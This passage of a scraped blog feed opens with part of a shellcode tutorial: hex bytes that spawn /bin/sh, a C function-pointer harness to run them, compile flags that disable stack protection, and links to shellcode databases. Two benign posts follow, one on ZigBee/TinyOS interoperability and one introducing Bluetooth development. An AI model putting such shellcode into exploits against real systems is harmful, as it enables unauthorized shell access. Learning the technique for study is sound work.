<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 80480a4:
41
inc %ecx</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 80480a5:
42
inc %edx</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 80480a6:
42
inc %edx</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 80480a7:
42
inc %edx</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 80480a8:
42
inc %edx</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<br /></div>
<div class="MsoNormal" style="margin: 0;">
<span style="font-family: "Courier New";"><span style="font-size: small;"> 3. Collect hexcode from the asm file</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="font-family: "Courier New";"><br /></span></div>
<blockquote>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="color: blue; font-family: "Courier New";"><span style="font-size: small;">"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="color: blue; font-family: "Courier New";"><span style="font-size: small;">"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="color: blue; font-family: "Courier New";"><span style="font-size: small;">"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="color: blue; font-family: "Courier New";"><span style="font-size: small;">"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="color: blue; font-family: "Courier New";"><span style="font-size: small;"></span></span><span lang="DE" style="color: blue; font-family: "Courier New";"><span style="font-size: small;">"\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42"</span></span></div>
</blockquote>
<span style="font-family: "Courier New";"><span style="font-size: small;"> 3. Create A shell code program by using this hexcode</span></span><br />
<span style="font-family: "Courier New";"><span style="font-size: small;"> </span></span><br />
<div class="MsoNormal" style="margin: 0;">
<span style="color: blue;"><span style="font-family: "Courier New";"><span style="font-size: small;">/*</span></span><span style="font-family: "Courier New";"><span style="font-size: small;">shell_exec.c*/</span></span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="color: blue; font-family: "Courier New";"><span style="font-size: small;">#include <unistd.h></span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="color: blue; font-family: "Courier New";"><span style="font-size: small;">char code[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="color: blue; font-family: "Courier New";"><span style="font-size: small;">
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="color: blue; font-family: "Courier New";"><span style="font-size: small;">
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="color: blue; font-family: "Courier New";"><span style="font-size: small;">
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="color: blue; font-family: "Courier New";"><span style="font-size: small;">
</span></span>
<span lang="DE" style="color: blue; font-family: "Courier New";">
<span style="font-size: small;">"\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42";</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="color: blue; font-family: "Courier New";"><span style="font-size: small;">int main(int argc, char **argv)</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="color: blue; font-family: "Courier New";"><span style="font-size: small;">{</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-left: 36.0pt; margin-top: 0;">
<span style="color: green; font-family: "Courier New";">
<span style="font-size: small;">/*creating a function pointer*/</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-left: 36.0pt; margin-top: 0;">
<span style="color: blue; font-family: "Courier New";">
<span style="font-size: small;">int (*func)();</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-left: 36.0pt; margin-top: 0;">
<span style="color: blue; font-family: "Courier New";">
<span style="font-size: small;">func = (int (*)()) code;</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-left: 36.0pt; margin-top: 0;">
<span style="color: blue; font-family: "Courier New";">
<span style="font-size: small;">(int)(*func)();</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="color: blue; font-family: "Courier New";"><span style="font-size: small;">}</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="font-family: "Courier New";"><span style="font-size: small;">4. Compile and run the code</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="font-family: "Courier New";"><span style="font-size: small;"> #gcc -fno-stack-protector -z execstack shell_exec.c</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="font-family: "Courier New";"><span style="font-size: small;"> </span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="font-family: "Courier New";"><span style="font-size: small;"> #./a.out</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="font-family: "Courier New";"><span style="font-size: small;"></span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="font-family: "Courier New";"><span style="font-size: small;">5 Result</span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="font-family: "Courier New";"><span style="font-size: small;"> Get a /bin/sh shell </span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="font-family: "Courier New";"><span style="font-size: small;"></span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="font-family: "Courier New";"><span style="font-size: small;">6. Try more shellcode </span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="font-family: "Courier New";"><span style="font-size: small;"></span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="font-family: "Courier New";"><span style="font-size: small;"> </span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="font-family: "Courier New";"><span style="font-size: small;"> Jonathan Salwan's Shellcode <a href="http://shell-storm.org/shellcode/" target="_blank">database</a> </span></span></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
<span style="font-family: "Courier New";"><span style="font-size: small;"> </span></span><br />
<b>Shell-code Jonathan Salwan Database <span style="color: #674ea7;"> <a href="http://shell-storm.org/shellcode/" target="_blank">GoTo</a></span></b><br />
<b><br /></b>
<b>Shell-code Project</b> <a href="http://projectshellcode.com/?q=node/12" target="_blank"><b>Go To</b></a><br />
<br />
<b>Shell-code Python Injector Released <a href="https://www.trustedsec.com/august-2012/new-tool-pyinjector-released-python-shellcode-injection/" target="_blank">GoTo</a> <a href="https://www.blogger.com/"><span style="color: #674ea7;">Download </span></a></b><br />
<b><br /></b>
<b>Shell-code Tutorials <a href="http://www.tenouk.com/Bufferoverflowc/Bufferoverflow5.html" target="_blank">T1</a> <a href="http://badishi.com/basic-shellcode-example/" target="_blank">T2</a></b><br />
<br />
<b>Shell-code Exploit DB </b><a href="http://www.exploit-db.com/shellcode/" target="_blank"><b>GoTo</b></a><br />
<br /></div>
<div class="MsoNormal" style="margin-bottom: 0; margin-top: 0;">
</div>
</div>
Anonymoushttp://www.blogger.com/profile/14545770648325591855noreply@blogger.com0tag:blogger.com,1999:blog-4527228262090522827.post-16223999873766501732014-10-28T02:56:00.002-07:002014-10-28T02:56:49.498-07:00XBee IEEE 802.15.4 ZigBee OEM Stack Interoperability Issues with TinyOS IEEE 802.15.4 Stack<div dir="ltr" style="text-align: left;" trbidi="on">
<style type="text/css">p { margin-bottom: 0.21cm; }a:link { }</style>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLBS2sTXxv8PIF1KpPGbnZt8_Lb2vxc-ymQdHXq8pR47PKt4-fiZjl9_yCvse62ApiRXa_J2XY-y_Lwy4cHepmnILVH82tcUjbe_ZWFBguh95_qb5mZ7u6xCnMf2GASmJoTHCiUFVjbrnl/s1600/Zigbee.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLBS2sTXxv8PIF1KpPGbnZt8_Lb2vxc-ymQdHXq8pR47PKt4-fiZjl9_yCvse62ApiRXa_J2XY-y_Lwy4cHepmnILVH82tcUjbe_ZWFBguh95_qb5mZ7u6xCnMf2GASmJoTHCiUFVjbrnl/s1600/Zigbee.jpg" height="200" width="182" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUnsle7Z72nOzThg8S0ykV9kOxnTjyx5Fzqa9rApgaxr0CuYNkudeHjCUs_aVP9fvyHg7y67rjrt6hnxfVh7BqEtOcDTvkQUEoLj3_QxGxkae-w89GlAdZ1N9A9GYbBK4WZ7XygjRbQDml/s1600/tos-jwall.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUnsle7Z72nOzThg8S0ykV9kOxnTjyx5Fzqa9rApgaxr0CuYNkudeHjCUs_aVP9fvyHg7y67rjrt6hnxfVh7BqEtOcDTvkQUEoLj3_QxGxkae-w89GlAdZ1N9A9GYbBK4WZ7XygjRbQDml/s1600/tos-jwall.jpg" height="76" width="200" /></a></div>
<ol>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;">The main Problems of
porting the stack over the IEEE 802.15.4 lower layer stack is
<i><b>lack of specification details of hardware and software </b></i>
regarding important aspects of the beacon enabled mode and
the cluster tree model.</span></div>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;"><i><b>Synchronization
Techniques</b></i> in Cluster Tree Developments is an another
issue. For building a cluster network, s<i><b>ynchronization </b></i>
is very much required especailly between the ZR , ZC and ZED
if all the devices are working under one PAN ID. Moreover
, if a node is not properly sychronized there is a
possiblity of collisions in the GTS slots(It provides guaranted
time for each device is intent to connect to the network) :
Stack Overflow is the result of this problem.</span></div>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;"><span style="color: black;"><span style="text-decoration: none;"><span style="font-family: Liberation Serif, serif;"><i><b>XBee
</b></i></span></span></span><span style="color: black;"><span style="text-decoration: none;"><span style="font-family: Liberation Serif, serif;">is
a ZigBee Alliance Group devices and its using the ZigBee
Compaint IEEE 802.15.4 stack for the Wireless Communication.
TinyOS is not a ZigBee, but the micaz mote device we are
using here is a ZigBee Alliance Group device. That doesnt means
that its possible to make communication between these two,
for that we need a ZigBee IEEE 802.15.4 Stack in TinyOS
for building the ZigBee Protocol Stack in it. </span></span></span></span>
</div>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm; text-decoration: none;">
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;">CC2420 Radio chipset
which is used to switch the time for transmitting and
receiving data throught radio is <i><span style="text-decoration: none;"><b>192
mico seconds,</b></span></i> that is different from the other
stack , especially in allianced group devices like OEM.</span></div>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;">In addition, the processing
power available in the motes microconrtoller revealed to be
quite limited to comply with the most demanding IEEE
802.15.4 timing constraints, especailly from small beacon
orders (BO < 3) and superframe orders (SO <3). This turns
these <i><b> Superframe configuration impossible to deploy</b></i>,
considering that the mote must also have availablity for
processing other task.</span></div>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;">ZigBee Protocol stack
have some processing <i><b> limtation in ATMega128R</b></i>F,only
smarter and faster microconrtoller overcome this difficulty.
Open ZB forum expect to overcome this in near future.</span></div>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;">The deafult <i><b>TinyOS
Scheduler</b></i> does not support tasks prioritization and
non pre-emptive. Typically there are two different kinds of
interrupt event in TinyOS: timers and radio, these events
are captured by event handler that normally post a task to
the FIFO task queue, which significantly impacts the
behaviour of the protcol stack.</span></div>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;">The <i><b> interference
between IEEE 802.15.4 and 802.15.4 radio channels</b></i> ,
confirmed using a <i><b>FFT spectrum analyser</b></i> had
inpredicatable effects on the resutls.</span></div>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;">Physical Layer Related
problems.</span></div>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;">Interference between radio
channels (Overcome the interference between these two standards
by using the only IEEE 802.154. channel(channeks 26 in the
2480 MHz frequency band) that is completely outside the IEEE
802.11 frequency Spectrum).</span></div>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;">RSSI -based localization in
accuracy (Problem Solved in Open ZB).</span></div>
</li>
</ol>
<ol start="12">
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;">Synchronized data request/
reply method used in the XBee ZigBee Alliance Group device
due to accomadation of the large collection devices in the
network.</span></div>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;"><i><b>Timer Slot
Registration techniques</b></i><i> </i> for a frame in TinyOS
and XBee devices is have a lot of difference. Like In
TinyOS , DESTINATION device is send frame to the SOURCE
device is by using BROADCASTING timeslot channel. But in XBee
only BROADCASTING frame is allow to pass through the channel. </span>
</div>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;">TinyOS does'nt have any
<i><b>Super Frame Scheduling Mechanism </b></i> for handling
multiple packet from the SOURCE Devices.</span></div>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;">The tinyos stack is NOT
<i><b>multi-lingual nor is it very flexible</b></i>. You basically
compile with a group of defines set that determines exactly what
kind of packets one is interested in. This is an artifact of TinyOS
motes being extremely resource constrained.</span></div>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;">TinyOS not following any
accurate <i><b>simulation model for IEE 802.15.4 and ZigBee
protocol focusing on the Guranteed Timse Slot (GTS) mechanism
</b></i>and ZigBee hierarichal routing strategy in becon enabled
cluster-tree Wireless Sensor Network.</span></div>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;">To implement an <i><b>energy
efficient beacon enabled routing mechansim </b></i> in TinyOS
is really a challenging task.</span></div>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;">XBee uses <span style="color: black;"><span style="text-decoration: none;"><span style="font-family: Liberation Serif, serif;">16
Channels with the </span></span></span><span style="color: black;"><span style="text-decoration: none;"><span style="font-family: Liberation Serif, serif;">band
gap of the 5MHz [ 2MHz] and </span></span></span><span style="color: black;"><span style="text-decoration: none;"><span style="font-family: Liberation Serif, serif;"><i><b>
16 Array orthogonal DSSS </b></i></span></span></span><span style="color: black;"><span style="text-decoration: none;"><span style="font-family: Liberation Serif, serif;">
for maintaing the dynamic timeslot allocation for frames from
the devices.TinyOS or OpenZB doesn't have any kind of
mechanism like that and its using </span></span></span><span style="color: black;"><span style="text-decoration: none;"><span style="font-family: Liberation Serif, serif;"><i><b>Time
Division based Frame Synchronization Techniques [TDMA].</b></i></span></span></span></span></div>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm; text-decoration: none;">
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;"><span style="color: black;"><span style="text-decoration: none;"><span style="font-family: Liberation Serif, serif;">ZigBee
Compliant IEEE 802.15.4 Stack is differ from depending up
on its Specification and Networking Topologies.</span></span></span>
</span>
</div>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;">In ZigBee Wrieless Sensor
Technology mainly three networking topolgies were using for
costructing a sensor network. According to the current
IEEE802.15.4/ZigBee specification , synchronization techniques in
each toplogies is different from one another on beacon enabled
mode. OpenZB forum says that, they were successfully resolve
this issue by applying an Time Division Based Synchronization
Techniques.</span></div>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;">OpenZB forum build ZigBee
Stack top over a <i><b>modified IEEE 802.15.4</b></i> in which
is very much compatable with their stack. So we cant expect
that this device is communicate with the exsiting ZigBee
Alliance Group device like XBee.<br /> </span>
</div>
</li>
<li><div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
<span style="font-size: small;"><i>I am Stilll working
on OpenZB implemenation in Micaz mote device, because vendors
saying that this device is ZigBEE Alliance group device and
it have OEM Modified IEEE complaint stack on its bottom layer
of the stack. So it can support the ZigBEE protocol stack.</i></span></div>
</li>
</ol>
<div align="justify" style="font-style: normal; font-weight: normal; margin-bottom: 0cm;">
“<span style="font-size: small;"><i> These are some
issues facing while building an interoperable ZigBEE Stack
over IEEE 802.15.4 -TinyOS -Micaz device. IEEE 802.15.4 ZigBEE
Compliant Stack, Synchronization Scheduling Mechanism, Suitable
Superframe allocation method for Avoiding the frame collision
and Guranteed GTS for devices are some MAJOR ISSUES </i>“</span></div>
</div>
Anonymoushttp://www.blogger.com/profile/14545770648325591855noreply@blogger.com1tag:blogger.com,1999:blog-4527228262090522827.post-45917109493520922762014-10-28T00:31:00.000-07:002014-10-28T00:31:00.299-07:00Bluetooth Development Essential<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<span style="font-family: Georgia,"Times New Roman",serif;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM9zqCoTnwvX0fGr3zNvza-NOAq4b1AqJgHpioJLNFNR-H8ig9DejV1PyrZMjulVa8yfrc66SxDugDfGqn-QmVnX1OfuZXACovZr0hme9p6jY-x6oN7jI6I_P1ypugI68eGzTcNxY8bO9M/s1600/Bluetooth(2).png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM9zqCoTnwvX0fGr3zNvza-NOAq4b1AqJgHpioJLNFNR-H8ig9DejV1PyrZMjulVa8yfrc66SxDugDfGqn-QmVnX1OfuZXACovZr0hme9p6jY-x6oN7jI6I_P1ypugI68eGzTcNxY8bO9M/s1600/Bluetooth(2).png" height="200" title="Bluetooth" width="200" /></a></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><span style="font-size: small;">A Short range Wireless Communication Standard
for End to End device for share the data between two ends. Like other
Short range Wireless Communication standard, Bluetooth also using an
unlicensed 2.4 GHz baseband communication to Physical Layer. It's
have a protocol stack to perform an end to end application and supports wide range of application in different embedded devices for short range communication . Now it's become an essential communication standard in Smart Mobile and other devices in the market. Before Developing an application for Bluetooth we should have to know about it very well for ease the development . </span> </span></span></div>
<span style="font-family: Georgia,"Times New Roman",serif;"><br /></span>
<span style="font-family: Georgia,"Times New Roman",serif;"><u><b><span style="font-size: small;">Bluetooth version</span></b></u></span><br />
<span style="font-family: Georgia,"Times New Roman",serif;"><br /></span>
<div style="text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"> The <b>Bluetooth Special Interest Group (SIG)</b> is the <a class="mw-redirect" href="http://en.wikipedia.org/wiki/Standards_organisation" title="Standards organisation">body</a> that oversees the development of <a href="http://en.wikipedia.org/wiki/Bluetooth" title="Bluetooth">Bluetooth</a> <a href="http://en.wikipedia.org/wiki/Standardization" title="Standardization">standards</a> and the licensing of the Bluetooth technologies and <a href="http://en.wikipedia.org/wiki/Trademark" title="Trademark">trademarks</a> to manufacturers. The following are some Bluetooth version that we are currently using in different sectors.</span></div>
<ul>
<li class="toclevel-2 tocsection-12"><span style="font-family: Georgia,"Times New Roman",serif;"><a href="http://en.wikipedia.org/wiki/Bluetooth#Bluetooth_v1.0_and_v1.0B"><span class="tocnumber"></span><span style="color: #f1c232;"><span class="toctext">Bluetooth v1.0 and v1.0B</span></span></a></span></li>
<li class="toclevel-2 tocsection-13"><span style="font-family: Georgia,"Times New Roman",serif;"><span style="color: #f1c232;"><a href="http://en.wikipedia.org/wiki/Bluetooth#Bluetooth_v1.1"><span class="tocnumber"></span><span style="color: #f1c232;"><span class="toctext">Bluetooth v1.1</span></span></a></span></span></li>
<li class="toclevel-2 tocsection-14"><span style="font-family: Georgia,"Times New Roman",serif;"><span style="color: #f1c232;"><a href="http://en.wikipedia.org/wiki/Bluetooth#Bluetooth_v1.2"><span class="tocnumber"></span><span style="color: #f1c232;"><span class="toctext">Bluetooth v1.2</span></span></a></span></span></li>
<li class="toclevel-2 tocsection-15"><span style="font-family: Georgia,"Times New Roman",serif;"><span style="color: #f1c232;"><a href="http://en.wikipedia.org/wiki/Bluetooth#Bluetooth_v2.0_.2B_EDR"><span class="tocnumber"></span><span style="color: #f1c232;"><span class="toctext">Bluetooth v2.0 + EDR</span></span></a></span></span></li>
<li class="toclevel-2 tocsection-16"><span style="font-family: Georgia,"Times New Roman",serif;"><span style="color: #f1c232;"><a href="http://en.wikipedia.org/wiki/Bluetooth#Bluetooth_v2.1_.2B_EDR"><span class="tocnumber"></span><span style="color: #ffd966;"><span class="toctext">Bluetooth v2.1 + EDR</span></span></a></span></span></li>
<li class="toclevel-2 tocsection-17"><span style="font-family: Georgia,"Times New Roman",serif;"><span style="color: #f1c232;"><a href="http://en.wikipedia.org/wiki/Bluetooth#Bluetooth_v3.0_.2B_HS"><span class="tocnumber"></span><span style="color: #ffd966;"><span class="toctext">Bluetooth v3.0 + HS</span></span></a></span></span>
<ul>
<li class="toclevel-3 tocsection-18"><span style="font-family: Georgia,"Times New Roman",serif;"><span style="color: #f1c232;"><a href="http://en.wikipedia.org/wiki/Bluetooth#Ultra-wideband"><span class="tocnumber"></span><span style="color: #f1c232;"><span class="toctext">Ultra-wideband</span></span></a></span></span></li>
</ul>
</li>
<li class="toclevel-2 tocsection-19"><span style="font-family: Georgia,"Times New Roman",serif;"><span style="color: #f1c232;"><a href="http://en.wikipedia.org/wiki/Bluetooth#Bluetooth_v4.0"><span class="tocnumber"></span><span style="color: #f1c232;"><span class="toctext">Bluetooth v4.0</span></span></a></span></span></li>
<li class="toclevel-2 tocsection-20"><span style="font-family: Georgia,"Times New Roman",serif;"><span style="color: #f1c232;"><a href="http://en.wikipedia.org/wiki/Bluetooth#Bluetooth_v4.1"><span class="tocnumber"></span><span style="color: #f1c232;"><span class="toctext">Bluetooth v4.1</span></span></a><span style="color: #f1c232;"><span class="toctext"> </span></span></span></span></li>
</ul>
<div style="text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><u><b><span style="font-size: small;">Bluetooth Protocol Stack</span></b></u></span></div>
<div style="text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;">Baseband + Bluetooth Radio - Physical Layer Operation in Bluetooth or transmission of data from one end to another.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;">LMP - Link Management Protocol for to Provide a link to the application using the Link channel and also participates the Multiplexing of channel using PSM code in Link Layer.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;">RFCOMM - RF Virtual COM port for Serial Communication Emulator.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;">BNEP - Bluetooth Network Encapsulation Protocol is help to provide a network Stack to Bluetooth for doing a SEQPACKET, SOCKSTREAM socket communication to device.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;">L2CAP - Logical Link Control and Adaptation Protocol provide a logical link connection to the RFCOMM and any other application layer protocol protocol in the Stack.</span></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;">OBEX -Object Exchange Protocol. Its an application Layer protocol to perform data exchange operation between devices.</span></span></div>
<div style="text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;">SDP - Service Discovery protocol is help to acquire the information of the services run in the Bluetooth device.</span></span></div>
<div style="text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"> </span></span></div>
<div style="text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><u><b><span style="font-size: small;">Network topology</span></b></u></span></div>
<div style="text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"> </span></span></div>
<div style="text-align: justify;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;">
Bluetooth have one topology named "Scatternet" which help to build a
bluetooth device network, but there have only few implementation is
there in practical scenario. Actually Scatternet is the collection of
small net consist of 7 Bluetooth nodes called as piconet. Piconet
consists of 7 nodes and each node perform a direct link to link
connection between two node. A node is the host all other node in the
network we can call it as "MASTER node" and a node is intended to
connect to the "MASTER node" is called as SLAVE node. </span></span></div>
<div style="text-align: left;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><br /></span></span></div>
<div style="text-align: left;">
<span style="font-family: Georgia,"Times New Roman",serif;"><u><span style="font-size: small;"><b>Bluetooth Development Library</b></span></u></span></div>
<div style="text-align: left;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><br /></span></span></div>
<div style="text-align: left;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"><i>BlueZ :-</i></span></span></div>
<div style="text-align: left;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"> If you are using Linux you can download from the repo by using the command</span></span></div>
<div style="text-align: left;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"> #sudo apt-get install bluez</span></span></div>
<div style="text-align: left;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;">hcidump:-</span></span></div>
<div style="text-align: left;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"> Promiscuous Sniffer for Bluetooth </span></span></div>
<div style="text-align: left;">
<span style="font-family: Georgia,"Times New Roman",serif;"><span style="font-size: small;"> #sudo apt-get install bluez-hcidump</span></span></div>
<div style="text-align: left;">
